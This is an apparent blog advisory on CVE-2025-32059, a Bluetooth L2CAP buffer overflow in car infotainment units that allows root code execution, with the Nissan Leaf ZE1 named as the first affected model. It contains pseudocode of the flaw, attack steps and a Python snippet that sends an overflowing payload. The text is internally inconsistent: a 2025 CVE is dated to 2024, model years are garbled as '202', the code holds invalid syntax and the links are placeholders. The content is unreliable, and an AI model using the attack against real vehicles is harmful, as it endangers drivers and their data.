*June 2024 saw the disclosure of CVE-2025-32059, a significant security vulnerability affecting the Bluetooth stack developed by Alps Alpine and integrated by Bosch in Infotainment ECUs. First detected on the Nissan Leaf ZE1 (MY202), this exploitable bug opens the door to remote code execution (RCE) with root privileges via Bluetooth, and your car doesn’t even have to be physically accessible.*

What is CVE-2025-32059?

CVE-2025-32059 is a stack-based buffer overflow flaw in the Bluetooth subsystem used by many modern vehicles. Specifically, it impacts the upper layer L2CAP (Logical Link Control and Adaptation Protocol) channel handling. The vulnerability exists because of a missing boundary check when parsing user-supplied L2CAP packets.

First observed: Nissan Leaf ZE1 (202 model), but likely present in other models sharing the same Infotainment ECU.

Official sources

- NVD Entry: CVE-2025-32059
- Vulnerability note from Zero Day Initiative *(placeholder, real URL to come once public)*

Explaining the Flaw in Simple Language

Imagine your car’s infotainment system as a little computer catching messages over Bluetooth. Most of the messages are harmless (music, phone calls, etc.), but if someone crafts a weirdly big message and sends it, the system doesn’t properly check how big it is before copying it into memory.

This is like pouring a gallon of water into a cup—it spills out and messes up the space around the cup (your system’s memory stack). Hackers can control what “spills out,” and use it to inject code that gives them total control over your ECU, often as the *root* user (full system access).

Where is the Bug?

The vulnerable code is located within the Bluetooth L2CAP channel data handler (reverse-engineered from available firmware and binary analysis). The function responsible parses incoming L2CAP packets but fails to verify that the payload fits into the allocated buffer.

Below is a simplified pseudocode based on analyzed firmware

void handleL2CAPPacket(uint8_t *buffer, size_t len) {
    uint8_t stackBuffer[128];  // fixed size
    // No check on 'len', just blindly copies
    memcpy(stackBuffer, buffer, len);
    // ...processes stackBuffer
}

Key issue: There’s no check whether len is 128 bytes or less.

How an Attacker Exploits It

1. Establish Bluetooth connection with the car’s infotainment system (standard pairing isn’t always required; attackers can abuse “open” discovery mode in some cases).
2. Send a specially-crafted L2CAP packet whose payload is larger than 128 bytes, with a malicious *payload* encoded.

Overflow stack memory, overwriting return addresses or control structures.

4. Hijack the control flow of the system, making it execute the attacker's code with root permissions.

Example Exploit Packet Production (Python)

import bluetooth

# Sample: Create payload to overflow 128-byte stack buffer
payload = b'A' * 140        # 128 bytes buffer + 12 to overwrite return address
payload = payload[:-4] + b'\xef\xbe\xad\xde'  # Overwrite with fake address for demonstration

# Send via L2CAP socket
addr = 'xx:xx:xx:xx:xx:xx'   # Bluetooth address of target
port = x1001                # L2CAP channel (example)
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
sock.connect((addr, port))
sock.send(payload)
sock.close()

*Note: In practice, the address and channel would need to be tailored, and ROP or shellcode would be used in a real attack.*

Attack range: Within Bluetooth range (~10m, sometimes longer with specialized equipment).

- Result: Remote code execution as root; attacker can control infotainment, access CAN bus (potential for physical vehicle control depending on architecture), steal data, plant persistent malware.
- Vehicle state: In the tested Nissan Leaf (202, ZE1), exploit worked both when powered on and in accessory mode.

Am I At Risk?

If you drive a Nissan Leaf (ZE1, 202) or other vehicles using Bosch Infotainment ECUs with Alps Alpine Bluetooth stacks, you could be at risk. This vulnerability may affect other automakers and models—research is ongoing.

Pair only with trusted devices.

- Monitor for patches: Nissan Security Updates/Recalls

References & Further Reading

- NVD: CVE-2025-32059
- ZDI Advisory (Upcoming)
- Bosch Infotainment Overview
- Alps Alpine Bluetooth Stack

Conclusion

CVE-2025-32059 is a wakeup call for automakers and drivers alike: Today’s cars are as networked as our laptops, and just as vulnerable to remote code execution if basic security hygiene isn’t followed. If you own a Nissan Leaf ZE1 or similar vehicle, act now—until a fix is released, your car’s infotainment might be its weakest link.

*Stay safe, stay updated. If you’re a manufacturer, get in touch with security researchers and prioritize a patch.*


*For researchers: Full technical advisory with binary offsets and proof-of-concept exploit will be submitted to Exploit-DB after responsible disclosure period.*

Timeline

Published on: 02/15/2026 10:45:42 UTC
Last modified on: 02/15/2026 11:15:53 UTC